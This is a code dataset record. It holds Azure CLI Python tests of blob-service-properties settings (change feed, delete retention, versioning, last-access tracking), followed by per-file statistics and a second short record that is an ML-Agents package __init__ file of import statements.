{rg}').get_output_in_json() self.assertEqual(result['changeFeed']['enabled'], True) self.assertEqual(result['changeFeed']['retentionInDays'], 100) result = self.cmd('{cmd} --enable-change-feed true --change-feed-retention-days 14600 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['changeFeed']['enabled'], True) self.assertEqual(result['changeFeed']['retentionInDays'], 14600) result = self.cmd('{cmd} --enable-change-feed false -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['changeFeed']['enabled'], False) self.assertEqual(result['changeFeed']['retentionInDays'], None) @ResourceGroupPreparer(name_prefix='cli_storage_account_update_delete_retention_policy') @StorageAccountPreparer(kind='StorageV2') def test_storage_account_update_delete_retention_policy(self, resource_group, storage_account): self.kwargs.update({ 'sa': storage_account, 'rg': resource_group, 'cmd': 'storage account blob-service-properties update' }) with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-delete-retention true -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-delete-retention false --delete-retention-days 365 -n {sa} -g {rg}').get_output_in_json() with self.assertRaises(SystemExit): self.cmd('{cmd} --delete-retention-days 1 -n {sa} -g {rg}').get_output_in_json() with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-delete-retention true --delete-retention-days -1 -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-delete-retention true --delete-retention-days 0 -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-delete-retention true --delete-retention-days 366 -n {sa} -g {rg}') result = self.cmd('{cmd} --enable-delete-retention true --delete-retention-days 1 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['deleteRetentionPolicy']['enabled'], True) self.assertEqual(result['deleteRetentionPolicy']['days'], 1) result = self.cmd('{cmd} --enable-delete-retention true --delete-retention-days 100 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['deleteRetentionPolicy']['enabled'], True) self.assertEqual(result['deleteRetentionPolicy']['days'], 100) result = self.cmd('{cmd} --enable-delete-retention true --delete-retention-days 365 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['deleteRetentionPolicy']['enabled'], True) self.assertEqual(result['deleteRetentionPolicy']['days'], 365) result = self.cmd('{cmd} --enable-delete-retention false -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['deleteRetentionPolicy']['enabled'], False) self.assertEqual(result['deleteRetentionPolicy']['days'], None) @api_version_constraint(ResourceType.MGMT_STORAGE, min_api='2019-06-01') @ResourceGroupPreparer(name_prefix="cli_test_sa_versioning") @StorageAccountPreparer(location="eastus2euap", kind="StorageV2") def test_storage_account_update_versioning(self): result = self.cmd('storage account blob-service-properties update --enable-versioning true -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['isVersioningEnabled'], True) result = self.cmd('storage account blob-service-properties update --enable-versioning false -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['isVersioningEnabled'], False) result = self.cmd('storage account blob-service-properties update --enable-versioning -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['isVersioningEnabled'], True) result = self.cmd('storage account blob-service-properties show -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['isVersioningEnabled'], True) @api_version_constraint(ResourceType.MGMT_STORAGE, min_api='2019-06-01') @ResourceGroupPreparer(name_prefix='cli_storage_account_update_delete_retention_policy') @StorageAccountPreparer(kind='StorageV2', name_prefix='clitest', location='eastus2euap') def test_storage_account_update_container_delete_retention_policy(self, resource_group, storage_account): self.kwargs.update({ 'sa': storage_account, 'rg': resource_group, 'cmd': 'storage account blob-service-properties update' }) with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-container-delete-retention true -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-container-delete-retention false --container-delete-retention-days 365 -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --container-delete-retention-days 1 -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-container-delete-retention true --container-delete-retention-days -1 -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-container-delete-retention true --container-delete-retention-days 0 -n {sa} -g {rg}') with self.assertRaises(SystemExit): self.cmd('{cmd} --enable-container-delete-retention true --container-delete-retention-days 366 -n {sa} -g {rg}') result = self.cmd('{cmd} --enable-container-delete-retention true --container-delete-retention-days 1 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['containerDeleteRetentionPolicy']['enabled'], True) self.assertEqual(result['containerDeleteRetentionPolicy']['days'], 1) result = self.cmd('{cmd} --enable-container-delete-retention true --container-delete-retention-days 100 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['containerDeleteRetentionPolicy']['enabled'], True) self.assertEqual(result['containerDeleteRetentionPolicy']['days'], 100) result = self.cmd('{cmd} --enable-container-delete-retention true --container-delete-retention-days 365 -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['containerDeleteRetentionPolicy']['enabled'], True) self.assertEqual(result['containerDeleteRetentionPolicy']['days'], 365) result = self.cmd('{cmd} --enable-container-delete-retention false -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['containerDeleteRetentionPolicy']['enabled'], False) self.assertEqual(result['containerDeleteRetentionPolicy']['days'], None) @api_version_constraint(ResourceType.MGMT_STORAGE, min_api='2019-06-01') @ResourceGroupPreparer(name_prefix="cli_test_sa_versioning") @StorageAccountPreparer(location="eastus2euap", kind="StorageV2") def test_storage_account_update_last_access(self): result = self.cmd('storage account blob-service-properties update --enable-last-access-tracking true -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['lastAccessTimeTrackingPolicy']['enable'], True) result = self.cmd( 'storage account blob-service-properties show -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['lastAccessTimeTrackingPolicy']['enable'], True) self.assertEqual(result['lastAccessTimeTrackingPolicy']['name'], "AccessTimeTracking") self.assertEqual(result['lastAccessTimeTrackingPolicy']['trackingGranularityInDays'], 1) self.assertEqual(result['lastAccessTimeTrackingPolicy']['blobType'][0], "blockBlob") result = self.cmd('storage account blob-service-properties update --enable-last-access-tracking false -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['lastAccessTimeTrackingPolicy'], None) result = self.cmd('storage account blob-service-properties update --enable-last-access-tracking -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['lastAccessTimeTrackingPolicy']['enable'], True) result = self.cmd('storage account blob-service-properties show -n {sa} -g {rg}').get_output_in_json() self.assertEqual(result['lastAccessTimeTrackingPolicy']['enable'], True) @ResourceGroupPreparer() @StorageAccountPreparer(kind="StorageV2") def test_storage_account_default_service_properties(self): from azure.cli.core.azclierror import InvalidArgumentValueError self.cmd('storage account blob-service-properties show -n {sa} -g {rg}', checks=[ self.check('defaultServiceVersion', None)]) with self.assertRaisesRegexp(InvalidArgumentValueError, 'Valid example: 2008-10-27'): self.cmd('storage account blob-service-properties update --default-service-version 2018 -n {sa} -g {rg}') self.cmd('storage account blob-service-properties update --default-service-version 2018-11-09 -n {sa} -g {rg}', checks=[self.check('defaultServiceVersion', '2018-11-09')]) self.cmd('storage account blob-service-properties show -n {sa} -g {rg}', checks=[self.check('defaultServiceVersion', '2018-11-09')])

60.261307

150

0.684456

1,355

11,992

5.935055

0.101107

0.036558

0.02089

0.031335

0.880875

0.859239

0.858742

0.824546

0.82007

0.811365

0

0.015668

0.159106

11,992

198

151

60.565657

0.781833

0.028019

0

0.432432

0

0.222973

0.423826

0.224788

0

0.364865

1

0.040541

false

0

0.060811

0

0.108108

0

null

0

1

0

1

0

null

0

7

80cd0aa01477c02d1231aab4c0adb2a0bebe85da

105

py

Python

dog-agent-game/ml-agents/mlagents/trainers/bc/__init__.py

antopraju/FiRescue

a67c8fa3ee3422f6c6979ed242d6d68309b4230f

[ "MIT" ]

33

2018-09-04T12:10:49.000Z

2022-02-05T03:27:40.000Z

dog-agent-game/ml-agents/mlagents/trainers/bc/__init__.py

antopraju/FiRescue

a67c8fa3ee3422f6c6979ed242d6d68309b4230f

[ "MIT" ]

6

2019-10-27T18:11:32.000Z

2022-02-10T00:31:04.000Z

dog-agent-game/ml-agents/mlagents/trainers/bc/__init__.py

antopraju/FiRescue

a67c8fa3ee3422f6c6979ed242d6d68309b4230f

[ "MIT" ]

7

2021-02-01T10:17:40.000Z

2021-12-17T16:44:32.000Z

from .models import * from .online_trainer import * from .offline_trainer import * from .policy import *

21

30

0.771429

14

105

5.642857

0.5

0.379747

0.43038

0

0.152381

105

4

31

26.25

0.88764

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7